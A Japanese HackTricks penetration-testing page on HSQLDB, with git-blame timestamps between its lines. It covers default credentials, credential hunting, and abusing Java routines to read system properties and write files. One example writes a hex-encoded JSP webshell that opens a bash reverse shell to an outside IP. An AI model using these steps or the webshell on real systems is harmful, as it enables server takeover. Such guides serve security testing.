2022-04-28 16:01:33 +00:00
< details >
2024-01-05 23:09:45 +00:00
< summary > < strong > AWSハッキングをゼロからヒーローまで学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-05 23:09:45 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-01-05 23:09:45 +00:00
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )をチェックしてください!
* [**公式PEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs** ](https://opensea.io/collection/the-peass-family )のコレクションをチェックする
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に**参加する**か、[**telegramグループ** ](https://t.me/peass )に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )を**フォローする**。
* [**HackTricks** ](https://github.com/carlospolop/hacktricks )と[**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud )のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
# 基本情報
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
HSQLDB( [HyperSQL DataBase ](http://hsqldb.org/ )) はJavaで書かれたリーディングSQLリレーショナルデータベースシステムです。小さく、高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
**デフォルトポート:** 9001
2020-12-02 23:18:31 +00:00
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2023-07-07 23:42:27 +00:00
# 情報
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
### デフォルト設定
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
このサービスはデフォルトでメモリ内で実行されているか、localhostにバインドされている可能性が高いことに注意してください。これを見つけた場合、他のサービスを悪用しており、権限昇格を図っている可能性があります。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
デフォルトの資格情報は通常、パスワードが空白の`sa` です。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
他のサービスを悪用した場合、可能な資格情報を検索するには
2020-12-02 23:18:31 +00:00
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
2024-01-05 23:09:45 +00:00
データベース名を注意深く覚えておいてください。接続するために必要になります。
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
# 情報収集
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
HSQLDBを[ダウンロード ](https://sourceforge.net/projects/hsqldb/files/ )して`hsqldb/lib/hsqldb.jar` を展開し、`java -jar hsqldb.jar` を実行してGUIアプリ( eww) を使用し、発見された/弱い認証情報を使用してDBインスタンスに接続します。
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
リモートシステムの場合、接続URLは次のようになります: `jdbc:hsqldb:hsql://ip/DBNAME` 。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
# コツ
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
## Java言語ルーチン
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
HSQLDBからJavaクラスの静的メソッドをJava言語ルーチンを使用して呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパス内にある必要があります。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
JRTは`functions` または`procedures` になります。Javaメソッドが一つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。これは`VALUES` ステートメントを使用して呼び出されます。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
Javaメソッドがvoidを返す場合、`CALL` ステートメントで呼び出されるプロシージャを使用する必要があります。
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
## Javaシステムプロパティの読み取り
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
関数を作成する:
2020-12-02 23:18:31 +00:00
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
2024-01-05 23:09:45 +00:00
実行機能:
2020-12-02 23:18:31 +00:00
```text
VALUES(getsystemproperty('user.name'))
```
2024-01-05 23:09:45 +00:00
以下は、システムプロパティの[リストをこちらで確認できます ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html )。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
## ファイルへの内容書き込み
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、JDKにある( アプリケーションのクラスパスに自動的にロードされる) カスタムプロシージャを介して、ディスクに16進数エンコードされたアイテムを書き込むことができます。**最大サイズ1024バイトに注意してください**。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
プロシージャの作成:
2020-12-02 23:18:31 +00:00
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
2024-01-05 23:09:45 +00:00
手順を実行する:
2020-12-02 23:18:31 +00:00
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
2022-04-28 16:01:33 +00:00
< details >
2024-01-05 23:09:45 +00:00
< summary > < strong > AWSハッキングをゼロからヒーローまで学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-05 23:09:45 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-01-05 23:09:45 +00:00
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )をチェックしてください!
* [**公式PEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見する、私たちの独占的な[**NFTs** ](https://opensea.io/collection/the-peass-family )のコレクション
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )や[**telegramグループ** ](https://t.me/peass )に**参加する**か、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )を**フォローする**。
* **HackTricks**の[**githubリポジトリ** ](https://github.com/carlospolop/hacktricks )や[**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud )にPRを提出して、あなたのハッキングのコツを共有する。
2022-04-28 16:01:33 +00:00
< / details >